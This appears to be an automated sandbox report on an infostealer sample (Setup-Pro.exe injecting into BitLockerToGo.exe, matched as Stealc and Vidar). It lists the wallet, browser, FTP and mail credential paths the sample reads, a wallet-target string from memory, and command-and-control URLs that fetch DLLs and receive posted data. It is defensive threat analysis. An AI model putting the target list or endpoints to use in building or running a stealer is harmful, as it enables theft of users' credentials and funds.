Source: BitLockerToGo.exe, 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: BitLockerToGo.exe PID: 7772, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 2.2.BitLockerToGo.exe.3000000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Setup-Pro.exe.2ab8000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Setup-Pro.exe.27aa000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Setup-Pro.exe.27aa000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Setup-Pro.exe.27f8000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Setup-Pro.exe.27f8000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Setup-Pro.exe.2ab8000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Setup-Pro.exe.2ab8000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.BitLockerToGo.exe.3000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Setup-Pro.exe.2ab8000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1837091006.0000000003547000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1585102260.0000000002600000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1507758122.00000000029D4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1585102260.00000000027F6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1585102260.00000000027A8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1586077537.00000000029D4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 7772, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: BitLockerToGo.exe PID: 7772, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	411 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	144 System Information Discovery	Distributed Component Object Model	1 Email Collection	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	21 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	411 Process Injection	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Reputation
http://45.66.249.162/9e6547173a597645.php	true	unknown
http://45.66.249.162/55145c8889ec57f2/sqlite3.dll	true	unknown
http://45.66.249.162/55145c8889ec57f2/softokn3.dll	true	unknown
http://45.66.249.162/55145c8889ec57f2/vcruntime140.dll	true	unknown
http://45.66.249.162/	true	unknown
http://45.66.249.162/55145c8889ec57f2/nss3.dll	true	unknown
http://45.66.249.162/55145c8889ec57f2/mozglue.dll	true	unknown
http://45.66.249.162/55145c8889ec57f2/msvcp140.dll	true	unknown
http://45.66.249.162/55145c8889ec57f2/freebl3.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	BitLockerToGo.exe, 00000002.00000003.1654990713.00000000035D5000.00000004.00000020.00020000.00000000.sdmp, BKJEGDGI.2.dr	false	URL Reputation: safe	unknown
http://45.66.249.162/9e6547173a597645.phpOST	BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	BitLockerToGo.exe, 00000002.00000003.1654990713.00000000035D5000.00000004.00000020.00020000.00000000.sdmp, BKJEGDGI.2.dr	false	URL Reputation: safe	unknown
https://github.com/aws/jsii	Setup-Pro.exe, program.js.0.dr	false		unknown
http://json-schema.org/schema	Setup-Pro.exe, program.js.0.dr	false		unknown
https://github.com/jprichardson/node-fs-extra/issues/269	program.js.0.dr	false		unknown
http://45.66.249.162/9e6547173a597645.phpgV	BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	BitLockerToGo.exe, 00000002.00000003.1654990713.00000000035D5000.00000004.00000020.00020000.00000000.sdmp, BKJEGDGI.2.dr	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi	FIJECAEHJJJKJKFIDGCB.2.dr	false		unknown
http://45.66.249.162/9e6547173a597645.php6	BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003587000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.66.249.162/9e6547173a597645.php)S	BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#	program.js.0.dr	false		unknown
http://json-schema.org/draft-07/schema	Setup-Pro.exe, program.js.0.dr	false		unknown
http://45.66.249.162/9e6547173a597645.phpl)	BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.66.249.162/9e6547173a597645.phpoinomi	BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.66.249.162CAEBA	BitLockerToGo.exe, 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://45.66.249.162/9e6547173a597645.phpF	BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003587000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	BitLockerToGo.exe, 00000002.00000003.1654990713.00000000035D5000.00000004.00000020.00020000.00000000.sdmp, BKJEGDGI.2.dr	false	URL Reputation: safe	unknown
http://45.66.249.162	BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003547000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmp	true		unknown
http://45.66.249.162/55145c8889ec57f2/sqlite3.dllH	BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003587000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.66.249.162/55145c8889ec57f2/vcruntime140.dll6	BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003587000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.66.249.162/55145c8889ec57f2/mozglue.dllz	BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003587000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.sqlite.org/copyright.html.	BitLockerToGo.exe, 00000002.00000002.1858384056.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1847494467.000000001D530000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://45.66.249.162/9e6547173a597645.phpHIDBAEGIIIDHJKEGDB	BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003587000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.66.249.162/9e6547173a597645.phprbird	BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.66.249.1621	BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003547000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.mozilla.com/en-US/blocklist/	BitLockerToGo.exe, BitLockerToGo.exe, 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr	false		unknown
https://mozilla.org0/	freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	BitLockerToGo.exe, 00000002.00000003.1654990713.00000000035D5000.00000004.00000020.00020000.00000000.sdmp, BKJEGDGI.2.dr	false		unknown
http://json-schema.org/draft-07/schema#	program.js.0.dr	false		unknown
https://aws.amazon.com	Setup-Pro.exe, program.js.0.dr	false		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l	HJEHIJEBKEBFBFHIIDHIIDGIJE.2.dr	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BitLockerToGo.exe, 00000002.00000003.1654990713.00000000035D5000.00000004.00000020.00020000.00000000.sdmp, BKJEGDGI.2.dr	false	URL Reputation: safe	unknown
http://45.66.249.162/9e6547173a597645.phpr	BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003587000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.66.249.162/55145c8889ec57f2/nss3.dll88	BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003547000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp, FIJECAEHJJJKJKFIDGCB.2.dr	false		unknown
https://www.ecosia.org/newtab/	BitLockerToGo.exe, 00000002.00000003.1654990713.00000000035D5000.00000004.00000020.00020000.00000000.sdmp, BKJEGDGI.2.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	HJEHIJEBKEBFBFHIIDHIIDGIJE.2.dr	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44	BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp, FIJECAEHJJJKJKFIDGCB.2.dr	false		unknown
https://ac.ecosia.org/autocomplete?q=	BitLockerToGo.exe, 00000002.00000003.1654990713.00000000035D5000.00000004.00000020.00020000.00000000.sdmp, BKJEGDGI.2.dr	false	URL Reputation: safe	unknown
https://github.com/aws/jsii.git	Setup-Pro.exe, program.js.0.dr	false		unknown
http://45.66.249.162/9e6547173a597645.phpyV	BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.66.249.162/9e6547173a597645.phpndowsApps	BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp, FIJECAEHJJJKJKFIDGCB.2.dr	false	URL Reputation: safe	unknown
http://45.66.249.162/9e6547173a597645.phpition:	BitLockerToGo.exe, 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp, FIJECAEHJJJKJKFIDGCB.2.dr	false	URL Reputation: safe	unknown
https://github.com/aws/jsii/issues	Setup-Pro.exe, program.js.0.dr	false		unknown
http://45.66.249.162/9e6547173a597645.phpowser	BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta	BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp, FIJECAEHJJJKJKFIDGCB.2.dr	false		unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	BitLockerToGo.exe, 00000002.00000002.1837091006.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp, FIJECAEHJJJKJKFIDGCB.2.dr	false	URL Reputation: safe	unknown
http://45.66.249.162/55145c8889ec57f2/softokn3.dll4	BitLockerToGo.exe, 00000002.00000002.1837091006.0000000003587000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org	HJEHIJEBKEBFBFHIIDHIIDGIJE.2.dr	false	URL Reputation: safe	unknown
http://45.66.249.162/9e6547173a597645.php&V	BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.66.249.162/9e6547173a597645.phppV	BitLockerToGo.exe, 00000002.00000002.1852878198.00000000296C0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	BitLockerToGo.exe, 00000002.00000003.1654990713.00000000035D5000.00000004.00000020.00020000.00000000.sdmp, BKJEGDGI.2.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

